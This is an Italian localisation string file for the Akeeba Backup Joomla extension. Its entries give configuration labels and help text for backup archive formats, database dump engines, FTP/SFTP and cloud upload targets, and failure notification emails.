COM_AKEEBABACKUP_CONFIG_DEREFERENCESYMLINKS_TITLE="Dereferenzia i collegamenti simbolici"
COM_AKEEBABACKUP_CONFIG_DESKTOP_NOTIFICATIONS_DESC="Dovrebbe essere chiesto il permesso di visualizzare notifiche desktop? Le notifiche desktop vengono visualizzate quando il backup inizia, termina, genera un avviso o si interrompe. Vengono visualizzate solo su browser compatibili (tipicamente: Chrome, Safari, Firefox, Opera) se concedi ad Akeeba Backup il permesso di visualizzare notifiche desktop quando richiesto nella pagina Pannello di controllo. Questa opzione controlla solo se questo prompt deve essere visualizzato. Una volta accettate o rifiutate le autorizzazioni per i messaggi di notifica desktop, questa impostazione non ha <strong>alcun effetto</strong>. L'unico modo per abilitare o disabilitare le notifiche desktop sarà attraverso le impostazioni del browser."
COM_AKEEBABACKUP_CONFIG_DESKTOP_NOTIFICATIONS_LABEL="Chiedi i permessi per le notifiche desktop"
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_FTPS_DESCRIPTION="Se abilitato, Akeeba Backup tenterà di connettersi al server FTP utilizzando una connessione cifrata SSL. <strong>Questo non è lo stesso di SFTP, SCP o \"Secure FTP\"!</strong> Nota che se il tuo server non supporta questo metodo riceverai errori di connessione."
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_FTPS_TITLE="Usa FTP su SSL (FTPS)"
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_HOST_DESCRIPTION="Nome host del server FTP, senza il protocollo. Ciò significa che <code>ftp://example.com</code> è <strong>non valido</strong> e <code>example.com</code> è valido. Akeeba Backup supporta solo server FTP e FTPS. <u>Non</u> supporta SFTP, SCP e altre varianti SSH."
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_HOST_TITLE="Nome host"
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_INITDIR_DESCRIPTION="Il percorso <strong>FTP</strong> assoluto alla directory in cui i file verranno caricati. In caso di dubbio, connettiti al tuo server con FileZilla, naviga nella directory desiderata e copia il percorso visualizzato nel pannello destro sopra l'elenco delle directory. Di solito è qualcosa di breve, come <code>/public_html</code>."
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_INITDIR_TITLE="Directory iniziale"
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_PASSIVE_DESCRIPTION="Usa la modalità passiva FTP durante il trasferimento dei dati. Questa è abilitata per impostazione predefinita in quanto è l'unico metodo che funziona attraverso i firewall comunemente installati sui server web. Non disabilitare a meno che tu non sia certo che il tuo server web non sia dietro un firewall e che il tuo server FTP richieda assolutamente trasferimenti di file in modalità attiva."
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_PASSIVE_TITLE="Usa modalità passiva"
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_PASSWORD_DESCRIPTION="Password del server FTP. Di solito è sensibile alle maiuscole/minuscole. In caso di dubbio, contatta il tuo amministratore di rete."
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_PASSWORD_TITLE="Password"
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_PORT_DESCRIPTION="Porta del server FTP. L'impostazione più comune è 21. In caso di dubbio, contatta il tuo amministratore di rete."
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_PORT_TITLE="Porta"
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_TEST_DESCRIPTION="Usa questo pulsante per testare la connessione FTP e visualizzare gli errori di connessione in caso di fallimento."
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_TEST_FAIL="Impossibile connettersi al server FTP remoto."
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_TEST_OK="Connessione al server FTP remoto stabilita con successo!"
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_TEST_TITLE="Testa connessione FTP"
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_USER_DESCRIPTION="Nome utente del server FTP. Di solito è sensibile alle maiuscole/minuscole. In caso di dubbio, contatta il tuo amministratore di rete."
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_USER_TITLE="Nome utente"
COM_AKEEBABACKUP_CONFIG_DIRECTSFTP_HOST_DESCRIPTION="Inserisci il nome host o l'indirizzo IP del tuo server SFTP"
COM_AKEEBABACKUP_CONFIG_DIRECTSFTP_HOST_TITLE="Nome host"
COM_AKEEBABACKUP_CONFIG_DIRECTSFTP_INITDIR_DESCRIPTION="Inserisci la directory in cui i file verranno caricati. In caso di dubbio, usa un client SFTP desktop, connettiti al tuo server, naviga nella directory desiderata e copia il percorso visualizzato. Il percorso deve essere in formato assoluto, ad es. /users/mionomeutente/public_html"
COM_AKEEBABACKUP_CONFIG_DIRECTSFTP_INITDIR_TITLE="Directory iniziale"
COM_AKEEBABACKUP_CONFIG_DIRECTSFTP_PASSWORD_DESCRIPTION="La password SFTP"
COM_AKEEBABACKUP_CONFIG_DIRECTSFTP_PASSWORD_TITLE="Password"
COM_AKEEBABACKUP_CONFIG_DIRECTSFTP_PORT_DESCRIPTION="La porta usuale per le connessioni SFTP è 22. Se il tuo server utilizza una porta diversa, inseriscila qui."
COM_AKEEBABACKUP_CONFIG_DIRECTSFTP_PORT_TITLE="Porta"
COM_AKEEBABACKUP_CONFIG_DIRECTSFTP_TEST_DESCRIPTION="Usa questo pulsante per testare la connessione SFTP e visualizzare gli errori di connessione in caso di fallimento."
COM_AKEEBABACKUP_CONFIG_DIRECTSFTP_TEST_FAIL="Impossibile connettersi al server SFTP remoto. Il messaggio di errore era:"
COM_AKEEBABACKUP_CONFIG_DIRECTSFTP_TEST_OK="Connessione al server SFTP remoto stabilita con successo. Nota: l'impostazione della directory iniziale non è stata testata."
COM_AKEEBABACKUP_CONFIG_DIRECTSFTP_TEST_TITLE="Testa connessione SFTP"
COM_AKEEBABACKUP_CONFIG_DIRECTSFTP_USER_DESCRIPTION="Il nome utente SFTP. Nota che il tuo server SFTP deve consentire l'autenticazione con nome utente/password."
COM_AKEEBABACKUP_CONFIG_DIRECTSFTP_USER_TITLE="Nome utente"
COM_AKEEBABACKUP_CONFIG_DREAMOBJECTSACCESSKEY_DESCRIPTION="La tua chiave di accesso DreamObjects, disponibile nel pannello di controllo DreamHost"
COM_AKEEBABACKUP_CONFIG_DREAMOBJECTSACCESSKEY_TITLE="Chiave di accesso"
COM_AKEEBABACKUP_CONFIG_DREAMOBJECTSBUCKET_DESCRIPTION="Il nome del tuo bucket DreamObjects. Assicurati che sia digitato come mostrato nel pannello di controllo DreamHost"
COM_AKEEBABACKUP_CONFIG_DREAMOBJECTSBUCKET_TITLE="Bucket"
COM_AKEEBABACKUP_CONFIG_DREAMOBJECTSDIRECTORY_DESCRIPTION="La directory all'interno del tuo bucket in cui verranno archiviati gli archivi di backup. Lascia vuoto per archiviare i file nella radice del bucket."
COM_AKEEBABACKUP_CONFIG_DREAMOBJECTSDIRECTORY_TITLE="Directory"
COM_AKEEBABACKUP_CONFIG_DREAMOBJECTSLOWERCASE_DESCRIPTION="Se abilitato, Akeeba Backup tenterà di convertire il nome del bucket in lettere minuscole, ad es. MyBucket verrà convertito in mybucket. Se hai creato un bucket con lettere maiuscole, ad es. MyNewBucket, deseleziona questa opzione e assicurati che il nome del bucket sia scritto esattamente come appare nel tuo pannello di controllo DreamHost."
COM_AKEEBABACKUP_CONFIG_DREAMOBJECTSLOWERCASE_TITLE="Nome bucket in minuscolo"
COM_AKEEBABACKUP_CONFIG_DREAMOBJECTSSECRETKEY_DESCRIPTION="La tua chiave segreta DreamObjects, disponibile nel pannello di controllo DreamHost"
COM_AKEEBABACKUP_CONFIG_DREAMOBJECTSSECRETKEY_TITLE="Chiave segreta"
COM_AKEEBABACKUP_CONFIG_DREAMOBJECTSUSESSL_DESCRIPTION="Se abilitato, verrà utilizzata una connessione sicura (HTTPS) durante il caricamento dei file. Pur aumentando la sicurezza dei dati trasferiti, aumenta anche la possibilità di fallimento del backup a causa del timeout."
COM_AKEEBABACKUP_CONFIG_DREAMOBJECTSUSESSL_TITLE="Usa SSL"
COM_AKEEBABACKUP_CONFIG_DROPBOXDIRECTORY_DESCRIPTION="La directory all'interno del tuo account Dropbox in cui verranno archiviati gli archivi di backup. Lascia vuoto per archiviare i file nella radice."
COM_AKEEBABACKUP_CONFIG_DROPBOXDIRECTORY_TITLE="Directory"
COM_AKEEBABACKUP_CONFIG_DROPBOXREFRESHTOKEN_DESCRIPTION="Questo è il Token di aggiornamento che collega Akeeba Backup a Dropbox. È <strong>specifico per il sito</strong> e viene utilizzato per ri-autorizzare la connessione Dropbox quando il Token di accesso a breve scadenza scade. Se hai più siti, devi utilizzare i pulsanti Passaggio 1 su ciascun sito che vuoi autorizzare. Si prega di <strong>NON</strong> copiare il token di accesso o di aggiornamento tra più siti. Causerà la desincronizzazione dell'autenticazione Dropbox e dovrai riconnettere tutti i tuoi siti con Dropbox."
COM_AKEEBABACKUP_CONFIG_DROPBOXREFRESHTOKEN_TITLE="Token di aggiornamento"
COM_AKEEBABACKUP_CONFIG_DROPBOXTOKEN_DESCRIPTION="Questo viene recuperato automaticamente da Dropbox quando fai clic sul pulsante Passaggio 2 sopra. Se hai più siti, devi usare i pulsanti Passaggio 1 e Passaggio 2 solo sul PRIMO sito che vuoi autorizzare. Poi copia il Token, la Chiave segreta Token e l'ID utente dal primo sito a tutti gli altri siti che vuoi connettere a Dropbox."
COM_AKEEBABACKUP_CONFIG_DROPBOXTOKEN_TITLE="Token di accesso"
COM_AKEEBABACKUP_CONFIG_DROPBOX_TEAM_DESC="Seleziona se sei membro di un team che utilizza Dropbox for Business e desideri utilizzare la cartella del team per archiviare i backup. Ricordati di anteporre il nome della cartella del team alla Directory sottostante. Ad esempio, se l'interfaccia web di Dropbox mostra una "Cartella team Acme Corp" nella pagina File e vuoi mettere i tuoi backup in una cartella chiamata "Backups" al suo interno, dovresti usare il nome Directory <code>Acme Corp Team Folder/Backups</code>, non solo <code>Backups</code>."
COM_AKEEBABACKUP_CONFIG_DROPBOX_TEAM_TITLE="Dropbox for Business"
COM_AKEEBABACKUP_CONFIG_DUMPENGINE_DESCRIPTION="Definisce come Akeeba Backup elaborerà il tuo database/i database per produrre un file di backup del database."
COM_AKEEBABACKUP_CONFIG_DUMPENGINE_TITLE="Motore di backup del database"
COM_AKEEBABACKUP_CONFIG_DUMP_DIVIDER_COMMON="Impostazioni comuni"
COM_AKEEBABACKUP_CONFIG_DUMP_DIVIDER_MYSQL="Impostazioni MySQL"
COM_AKEEBABACKUP_CONFIG_DUMP_DIVIDER_POSTGRES="Impostazioni PostgreSQL"
COM_AKEEBABACKUP_CONFIG_DUMP_DIVIDER_REVERSE="Impostazioni di dump del database con reverse engineering"
COM_AKEEBABACKUP_CONFIG_PGDUMP_PATH_DESCRIPTION="Il percorso assoluto del filesystem allo strumento da riga di comando pg_dump sul tuo server. Se lasciato vuoto, Akeeba Backup tenterà di rilevarlo automaticamente."
COM_AKEEBABACKUP_CONFIG_PGDUMP_PATH_TITLE="Percorso di pg_dump"
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_DIRECTFTPCURL_DESCRIPTION="Trasferisce i file del sito a un server FTP remoto, senza archiviarli prima. Questo motore di archiviazione utilizza la libreria cURL che fornisce una migliore compatibilità con un'ampia gamma di server FTP."
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_DIRECTFTPCURL_PASVWORKAROUND_DESCRIPTION="Alcuni server FTP mal configurati o difettosi restituiscono un indirizzo IP errato quando la modalità passiva FTP è abilitata. Abilita questa opzione per forzare la libreria FTP a ignorare l'IP errato restituito dal server FTP, utilizzando invece l'IP pubblico del server FTP."
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_DIRECTFTPCURL_PASVWORKAROUND_TITLE="Soluzione alternativa per la modalità passiva"
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_DIRECTFTPCURL_TITLE="DirectFTP tramite cURL"
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_DIRECTFTP_DESCRIPTION="Trasferisce i file del sito a un server FTP remoto, senza archiviarli prima"
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_DIRECTFTP_TITLE="DirectFTP"
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_DIRECTSFTPCURL_DESCRIPTION="Trasferisce i file del sito a un server SFTP remoto, senza archiviarli prima. Questo motore di archiviazione utilizza la libreria cURL che fornisce una migliore compatibilità con un'ampia gamma di server FTP."
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_DIRECTSFTPCURL_TITLE="DirectSFTP tramite cURL"
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_DIRECTSFTP_DESCRIPTION="Trasferisce i file del sito a un server SFTP remoto, senza archiviarli prima. AVVISO: Il tuo server sorgente deve avere installata l'estensione SSL2 di PHP."
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_DIRECTSFTP_TITLE="DirectSFTP"
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_JPA_DESCRIPTION="Un formato di archivio open-source ottimizzato per la creazione e l'estrazione rapida di archivi tramite codice PHP"
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_JPA_TITLE="Formato JPA (consigliato)"
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_JPS_DESCRIPTION="Crea archivi cifrati con il metodo di cifratura AES-128 standard del settore, in un formato molto simile a JPA. Richiede che una delle estensioni PHP mcrypt o openssl sia installata e attivata sul tuo sito."
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_JPS_TITLE="Archivi cifrati (JPS)"
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_ZIPNATIVE_DESCRIPTION="L'archivio ZIP verrà creato utilizzando la classe ZipArchive di PHP. IMPORTANTE: Questo motore non supporta la suddivisione degli archivi o la gestione dei symlink e può pertanto causare problemi di backup. Se si verificano errori di timeout, errori AJAX o messaggi di errore interno del server, sarà necessario passare a un motore di archiviazione diverso e abilitare la suddivisione degli archivi."
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_ZIPNATIVE_TITLE="ZIP tramite classe ZipArchive"
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_ZIP_DESCRIPTION="File ZIP standard, noti anche come \"Cartelle compresse\", supportati nativamente da tutti i principali sistemi operativi"
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_ZIP_TITLE="Formato ZIP"
COM_AKEEBABACKUP_CONFIG_ENGINE_DUMP_NATIVE_DESCRIPTION="Utilizza codice PHP per produrre un dump accurato del database"
COM_AKEEBABACKUP_CONFIG_ENGINE_DUMP_NATIVE_TITLE="Motore di backup MySQL nativo"
COM_AKEEBABACKUP_CONFIG_POSTPROC_ABORT_ON_FAIL_TITLE="Interrompi backup in caso di errore di caricamento"
COM_AKEEBABACKUP_CONFIG_POSTPROC_ABORT_ON_FAIL_DESCRIPTION="Interrompe immediatamente il processo di backup, contrassegnandolo come fallito, se si verifica un errore di caricamento. <strong>Questa opzione può essere fuorviante e pericolosa.</strong> Potresti avere un backup completo e valido che semplicemente non è riuscito a caricarsi in tutto o in parte. L'abilitazione di questa opzione rimuoverà i file di archivio di backup rimanenti dal tuo server e lascerà indietro i file di archivio (parzialmente) caricati nell'archiviazione remota. In altre parole, rimarrai senza un backup funzionante. Esistono pochissimi casi d'uso in cui ciò ha più senso del comportamento predefinito che ti consente di riprendere il caricamento del file di archivio di backup tramite la pagina Gestisci backup. Di conseguenza, consigliamo vivamente che questa opzione venga abilitata solo da utenti esperti che comprendono appieno le implicazioni di tale operazione."
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_AZURE_DESCRIPTION="Carica l'archivio di backup su Microsoft Windows Azure BLOB Storage."
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_AZURE_TITLE="Carica su Microsoft Windows Azure BLOB Storage"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_BACKBLAZE_DESCRIPTION="Carica l'archivio di backup su BackBlaze."
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_BACKBLAZE_TITLE="Carica su BackBlaze B2"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_BOX_DESCRIPTION="Carica l'archivio di backup su Box.com. Leggi la documentazione."
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_BOX_TITLE="Carica su Box.com"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_CLOUDFILES_DESCRIPTION="Carica l'archivio di backup su RackSpace CloudFiles.<br/><strong>Ricorda di impostare una dimensione di archivio diviso di 2-30Mb o rischi un errore di backup a causa dei timeout!</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_CLOUDFILES_TITLE="Carica su RackSpace CloudFiles"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_CLOUDME_DESCRIPTION="Carica l'archivio di backup su CloudMe.<br/><strong>Ricordati di impostare una dimensione dell'archivio suddiviso di 2-30 MB, altrimenti rischi un errore del backup a causa dei timeout!</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_CLOUDME_TITLE="Carica su CloudMe"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_DREAMOBJECTS_DESCRIPTION="Carica l'archivio di backup su DreamObjects.<br/><strong>Ricordati di impostare una dimensione dell'archivio suddiviso di 2-30 MB, altrimenti rischi un errore del backup a causa dei timeout!</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_DREAMOBJECTS_TITLE="Carica su DreamObjects"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_DROPBOX2_DESCRIPTION="Carica l'archivio di backup su Dropbox utilizzando l'API Dropbox V2. Questa API è più veloce e consente di collegare facilmente il tuo account Dropbox a più siti."
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_DROPBOX2_TITLE="Carica su Dropbox (API v2)"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_EMAIL_DESCRIPTION="Ti invia l'archivio di backup come allegato e-mail.<br/><strong>Ricordati di impostare una dimensione dell'archivio suddiviso di 1-2 MB, altrimenti rischi un errore del backup a causa dei timeout e dell'esaurimento della memoria!</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_EMAIL_TITLE="Invia tramite e-mail"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_FTPCURL_DESCRIPTION="Carica l'archivio di backup su un server FTP o FTPS (FTP over Implicit SSL) remoto.<br/>Questo motore di post-elaborazione utilizza la libreria cURL, che offre una migliore compatibilità con un'ampia gamma di server FTP.<br/><strong>Ricordati di impostare una dimensione dell'archivio suddiviso di 2-30 MB, altrimenti rischi un errore del backup a causa dei timeout!</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_FTPCURL_TITLE="Carica su server FTP remoto tramite cURL"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_FTP_DESCRIPTION="Carica l'archivio di backup su un server FTP o FTPS (FTP over Implicit SSL) remoto.<br/><strong>Ricordati di impostare una dimensione dell'archivio suddiviso di 2-30 MB, altrimenti rischi un errore del backup a causa dei timeout!</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_FTP_TITLE="Carica su server FTP remoto"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_GOOGLEDRIVE_DESCRIPTION="Carica l'archivio di backup su Google Drive. Leggi la documentazione."
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_GOOGLEDRIVE_TITLE="Carica su Google Drive"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_GOOGLESTORAGEJSON_DESCRIPTION="Carica l'archivio di backup su Google Storage utilizzando la moderna API JSON. Questa è l'integrazione consigliata con Google Storage.<br/><strong>Ricordati di impostare una dimensione dell'archivio suddiviso di 2-30 MB, altrimenti rischi un errore del backup a causa dei timeout!</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_GOOGLESTORAGEJSON_TITLE="Carica su Google Storage (API JSON)"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_GOOGLESTORAGE_DESCRIPTION="Carica l'archivio di backup su Google Storage utilizzando l'emulazione legacy dell'API S3. Questo metodo è deprecato e verrà rimosso in futuro. Utilizza invece l'opzione API JSON.<br/><strong>Ricordati di impostare una dimensione dell'archivio suddiviso di 2-30 MB, altrimenti rischi un errore del backup a causa dei timeout!</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_GOOGLESTORAGE_TITLE="Carica su Google Storage (API S3 legacy)"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_IDRIVESYNC_DESCRIPTION="Carica l'archivio di backup su iDriveSync EVS (iDriveSync.com).<br/><strong>Ricordati di impostare una dimensione dell'archivio suddiviso di 2-30 MB, altrimenti rischi un errore del backup a causa dei timeout!</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_IDRIVESYNC_TITLE="Carica su iDriveSync"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_NONE_DESCRIPTION="Lascia i file dell'archivio di backup sul server"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_NONE_TITLE="Nessuna post-elaborazione"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_ONEDRIVEBUSINESS_DESCRIPTION="Carica l'archivio di backup su Microsoft OneDrive o Microsoft OneDrive for Business."
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_ONEDRIVEBUSINESS_TITLE="Carica su Microsoft OneDrive o OneDrive for Business"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_ONEDRIVE_DESCRIPTION="Carica l'archivio di backup su Microsoft OneDrive. Questo metodo supporta solo le unità personali, create con il tuo account Microsoft personale. Non supporta OneDrive for Business e gli account OneDrive creati tramite un account scolastico/lavorativo o un abbonamento Microsoft Office 365. Questo metodo di caricamento verrà RIMOSSO in una versione futura di Akeeba Backup. Utilizza invece il metodo Carica su Microsoft OneDrive."
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_ONEDRIVE_TITLE="Carica su Microsoft OneDrive (LEGACY)"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_OVH_DESCRIPTION="Carica l'archivio di backup su OVH Object Storage. <br/><strong>Ricordati di impostare una dimensione dell'archivio suddiviso di 2-30 MB, altrimenti rischi un errore del backup a causa dei timeout!</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_OVH_TITLE="Carica su OVH Object Storage"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_PCLOUD_DESCRIPTION="Carica l'archivio di backup su pCloud. QUESTO MOTORE DI POST-ELABORAZIONE VERRÀ RIMOSSO. L'AUTENTICAZIONE NON FUNZIONA A CAUSA DI PROBLEMI SUL SERVER API DI pCloud."
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_PCLOUD_TITLE="Carica su pCloud (NON USARE - VERRÀ RIMOSSO)"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_S3_DESCRIPTION="Carica l'archivio di backup su Amazon S3. Consente di utilizzare sia la nuova autenticazione (AWS4) richiesta per le posizioni S3 più recenti, sia quella precedente (AWS2) richiesta dai provider di storage di terze parti che offrono un'API compatibile con S3.<br/><strong>Se disabiliti i caricamenti multiparte, ricordati di impostare una dimensione dell'archivio suddiviso di 2-30 MB, altrimenti rischi un errore del backup a causa dei timeout!</strong><br/>Se desideri utilizzare Amazon STS al posto di una chiave di accesso e segreta, consulta la documentazione."
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_S3_TITLE="Carica su Amazon S3"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_SFTPCURL_DESCRIPTION="Carica l'archivio di backup su un server SFTP (SSH) remoto. Si tratta di un trasferimento di file tramite SSH che utilizza un protocollo chiamato SFTP, <em>completamente diverso</em> da FTP e FTPS.<br/>Questo motore di post-elaborazione utilizza cURL per il trasferimento dei dati, una libreria compatibile con un'ampia gamma di server SFTP.<br/><strong>Ricordati di impostare una dimensione dell'archivio suddiviso di 2-30 MB, altrimenti rischi un errore del backup a causa dei timeout!</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_SFTPCURL_TITLE="Carica su server SFTP (SSH) remoto tramite cURL"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_SFTP_DESCRIPTION="Carica l'archivio di backup su un server SFTP (SSH) remoto. Si tratta di un trasferimento di file tramite SSH che utilizza un protocollo chiamato SFTP, <em>completamente diverso</em> da FTP e FTPS.<br/><strong>Ricordati di impostare una dimensione dell'archivio suddiviso di 2-30 MB, altrimenti rischi un errore del backup a causa dei timeout!</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_SFTP_TITLE="Carica su server SFTP (SSH) remoto"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_SUGARSYNC_DESCRIPTION="Carica l'archivio di backup su SugarSync.<br/><strong>Ricordati di impostare una dimensione dell'archivio suddiviso di 2-30 MB, altrimenti rischi un errore del backup a causa dei timeout!</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_SUGARSYNC_TITLE="Carica su SugarSync"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_SWIFT_DESCRIPTION="Carica l'archivio di backup su qualsiasi server di object storage OpenStack Swift, ad esempio uno creato con la distribuzione Ubuntu di OpenStack o altri cloud privati. NON utilizzare questo metodo con RackSpace CloudFiles! CloudFiles utilizza un metodo di autenticazione personalizzato incompatibile con il servizio di identità Keystone di OpenStack (utilizzato da qualsiasi altra implementazione OpenStack).<br/><strong>Ricordati di impostare una dimensione dell'archivio suddiviso di 2-30 MB, altrimenti rischi un errore del backup a causa dei timeout!</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_SWIFT_TITLE="Carica su object storage OpenStack Swift"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_WEBDAV_DESCRIPTION="Carica l'archivio di backup su qualsiasi servizio di storage che supporti il protocollo WebDAV.<br/><strong>Ricordati di impostare una dimensione dell'archivio suddiviso di 2-30 MB, altrimenti rischi un errore del backup a causa dei timeout!</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_WEBDAV_TITLE="Carica tramite WebDAV"
COM_AKEEBABACKUP_CONFIG_ENGINE_SCAN_LARGE_DESCRIPTION="Uno scanner di file ottimizzato per il backup di siti con directory contenenti centinaia di file (ad es. blog e portali di notizie)"
COM_AKEEBABACKUP_CONFIG_ENGINE_SCAN_LARGE_TITLE="Scanner per siti di grandi dimensioni"
COM_AKEEBABACKUP_CONFIG_ENGINE_SCAN_SMART_DESCRIPTION="Bilancia in modo intelligente la velocità di scansione e l'evitamento dei timeout"
COM_AKEEBABACKUP_CONFIG_ENGINE_SCAN_SMART_TITLE="Scanner intelligente"
COM_AKEEBABACKUP_CONFIG_ERR_DECRYPTION="Impossibile decifrare le impostazioni. Il tuo server non supporta la cifratura delle impostazioni oppure il file della chiave di cifratura è stato modificato o eliminato."
COM_AKEEBABACKUP_CONFIG_EXTENDEDINSERTS_DESCRIPTION="Se selezionato, il dump del database verrà eseguito con istruzioni INSERT estese, ovvero un'unica istruzione per ripristinare più righe di dati. Si consiglia vivamente di mantenere questa opzione abilitata, poiché velocizza il processo di ripristino e aggira i limiti di quota delle query sugli host restrittivi."
COM_AKEEBABACKUP_CONFIG_EXTENDEDINSERTS_TITLE="Genera INSERT estesi"

COM_AKEEBABACKUP_CONFIG_UPLOADFAILURE_SEPARATOR="<strong>Verifica caricamenti falliti</strong>"
COM_AKEEBABACKUP_CONFIG_UPLOADFAILURE_EMAILADDRESS_LABEL="Indirizzo e-mail per caricamenti falliti"
COM_AKEEBABACKUP_CONFIG_UPLOADFAILURE_EMAILADDRESS_DESC="Invia l'e-mail di notifica per caricamenti falliti a questo indirizzo. Lascia vuoto per inviare l'e-mail a tutti i Super Utenti."
COM_AKEEBABACKUP_CONFIG_UPLOADFAILURE_EMAILSUBJECT_LABEL="Oggetto e-mail per caricamenti falliti"
COM_AKEEBABACKUP_CONFIG_UPLOADFAILURE_EMAILSUBJECT_DESC="L'oggetto delle e-mail che ti notificano i caricamenti falliti. Lascia vuoto per utilizzare il valore predefinito. Puoi usare tutte le variabili di Akeeba Backup utilizzabili per denominare i file di archivio, ad es. [HOST] e [DATE]"
COM_AKEEBABACKUP_CONFIG_UPLOADFAILURE_EMAILBODY_LABEL="Corpo e-mail per caricamenti falliti"
COM_AKEEBABACKUP_CONFIG_UPLOADFAILURE_EMAILBODY_DESC="Lascia vuoto per utilizzare il valore predefinito. Puoi usare tutte le variabili di Akeeba Backup utilizzabili per denominare i file di archivio, ad es. [HOST] e [DATE]."

COM_AKEEBABACKUP_CONFIG_FAILURE_EMAILADDRESS_DESC="Invia l'e-mail a questo indirizzo (lascia vuoto per inviare l'e-mail a tutti i Super Utenti)"
COM_AKEEBABACKUP_CONFIG_FAILURE_EMAILADDRESS_LABEL="Indirizzo e-mail"
COM_AKEEBABACKUP_CONFIG_FAILURE_EMAILBODY_DESC="Lascia vuoto per utilizzare il valore predefinito. Puoi usare tutte le variabili di Akeeba Backup utilizzabili per denominare i file di archivio, ad es. [HOST] e [DATE]."
COM_AKEEBABACKUP_CONFIG_FAILURE_EMAILBODY_LABEL="Corpo e-mail"
COM_AKEEBABACKUP_CONFIG_FAILURE_EMAILSUBJECT_DESC="Lascia vuoto per utilizzare il valore predefinito. Puoi usare tutte le variabili di Akeeba Backup utilizzabili per denominare i file di archivio, ad es. [HOST] e [DATE]"
